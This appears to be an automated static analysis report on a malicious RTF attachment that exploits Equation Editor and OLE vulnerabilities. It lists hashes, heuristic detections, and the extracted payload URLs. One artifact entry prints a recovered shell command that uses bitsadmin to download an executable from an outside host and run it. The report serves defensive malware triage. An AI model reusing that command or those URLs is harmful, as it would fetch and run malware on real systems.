Malicious RTF — malware analysis report

Static analysis result for SHA-256 fcf2fbd69ccea9cf…

MALICIOUS

RTF

121.2 KB Created: 2018-09-01 14:04:00 First seen: 2019-05-16
MD5: 66f11ddfd8b152a8abfbab9e2e65498f SHA-1: 3cb698d855b78f2098e9a702786a11a2db2556be SHA-256: fcf2fbd69ccea9cf0d38e212e48bd9dce61f5c625d5e96cd6384d614dfb402ce
302 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 and CVE-2017-8759, which are known vulnerabilities allowing for arbitrary code execution. The presence of embedded OLE objects and a hidden package further supports this. The file likely serves as a malicious attachment delivered via spearphishing, aiming to exploit these vulnerabilities to download and execute further payloads from the provided URLs.

Heuristics 8

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://d.coka.la/3SPGJI.jpg In RTF body
    • https://d.coka.la/KzzyDI.pdfIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000bbbf.bin rtf-objdata-decoded RTF \objdata at offset 0xBBBF 15946 bytes
SHA-256: c8f137f45aa723d240b2b0e4e99b9c8ad58be9432a738c1b3665cab9cddcf97a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): https://d.coka.la/3SPGJI.jpg Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer pV /priority foreground https://d.coka.la/3SPGJI.jpg %USERPROFILE%\project.exe && start %USERPROFILE%\project.exe & bitsadmin /transfer
rtf_svb_00003185.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x3185 1774 bytes
SHA-256: 2e49f4fe0b48c06e33c35e8580ee650a70753e345216509b2ef583221f073319

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